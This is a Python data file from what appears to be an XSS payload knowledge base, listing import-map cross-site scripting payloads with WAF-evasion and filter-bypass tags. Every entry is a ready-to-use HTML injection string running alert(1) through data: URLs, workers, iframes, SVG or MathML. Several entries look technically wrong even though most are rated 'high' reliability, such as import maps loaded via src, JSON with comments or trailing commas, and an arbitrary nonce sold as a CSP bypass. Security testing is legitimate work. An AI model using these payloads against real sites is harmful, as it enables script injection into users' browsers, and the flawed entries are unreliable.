#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Import Maps XSS Payloads - Part 2
Advanced techniques: encoding bypasses, prototype pollution, Workers, Service Workers, iframe, SVG, MathML, XHTML, and CSP bypasses.
"""

from ..models import PayloadEntry


IMPORT_MAPS_PAYLOADS_PART2 = {
    "import-map-json-comment": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}/*injected*/}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with JSON comment injection",
        tags=["import-map", "json-comment", "2024"],
        bypasses=["comment_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="medium",
    ),
    "import-map-trailing-comma": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"},}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with trailing comma",
        tags=["import-map", "trailing-comma", "2024"],
        bypasses=["json_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-single-quotes": PayloadEntry(
        payload='<script type=\'importmap\'>{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type=\'module\'>import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with single quotes",
        tags=["import-map", "quotes", "2024"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-no-quotes": PayloadEntry(
        payload='<script type=importmap>{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type=module>import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps without quotes",
        tags=["import-map", "no-quotes", "2024"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-case-insensitive": PayloadEntry(
        payload='<script TYPE="IMPORTMAP">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script TYPE="MODULE">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with uppercase type",
        tags=["import-map", "case-insensitive", "2024"],
        bypasses=["case_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-mixed-case": PayloadEntry(
        payload='<script TyPe="ImPoRtMaP">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script TyPe="MoDuLe">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with mixed case",
        tags=["import-map", "mixed-case", "2024"],
        bypasses=["case_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-script-src": PayloadEntry(
        payload='<script type="importmap" src="data:text/json,{%22imports%22:{%22x%22:%22data:text/javascript,alert(1)%22}}"></script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with external src",
        tags=["import-map", "src", "2024"],
        bypasses=["src_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-inline-external": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module" src="data:text/javascript,import\'x\'"></script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with external module script",
        tags=["import-map", "external-module", "2024"],
        bypasses=["module_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-worker": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script>new Worker("data:text/javascript,import\'x\'",{type:"module"})</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with Worker",
        tags=["import-map", "worker", "2024"],
        bypasses=["worker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-shared-worker": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script>new SharedWorker("data:text/javascript,import\'x\'",{type:"module"})</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with SharedWorker",
        tags=["import-map", "sharedworker", "2024"],
        bypasses=["worker_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-service-worker": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script>navigator.serviceWorker.register("data:text/javascript,import\'x\'",{type:"module"})</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with ServiceWorker",
        tags=["import-map", "serviceworker", "2024"],
        bypasses=["sw_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-iframe": PayloadEntry(
        payload='<iframe srcdoc=\'<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>\'></iframe>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps in iframe srcdoc",
        tags=["import-map", "iframe", "srcdoc", "2024"],
        bypasses=["iframe_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-svg": PayloadEntry(
        payload='<svg><script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script></svg>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps in SVG",
        tags=["import-map", "svg", "2024"],
        bypasses=["svg_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-mathml": PayloadEntry(
        payload='<math><script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script></math>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps in MathML",
        tags=["import-map", "mathml", "2024"],
        bypasses=["mathml_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="high",
    ),
    "import-map-xhtml": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["xhtml_strict"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps in XHTML context",
        tags=["import-map", "xhtml", "2024"],
        bypasses=["xhtml_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-namespace": PayloadEntry(
        payload='<script xmlns="http://www.w3.org/1999/xhtml" type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps with namespace",
        tags=["import-map", "namespace", "2024"],
        bypasses=["namespace_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "import-map-csp-bypass": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module" nonce="bypass">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Import Maps CSP bypass",
        tags=["import-map", "csp-bypass", "2024"],
        bypasses=["csp"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
}

IMPORT_MAPS_PAYLOADS_PART2_TOTAL = len(IMPORT_MAPS_PAYLOADS_PART2)
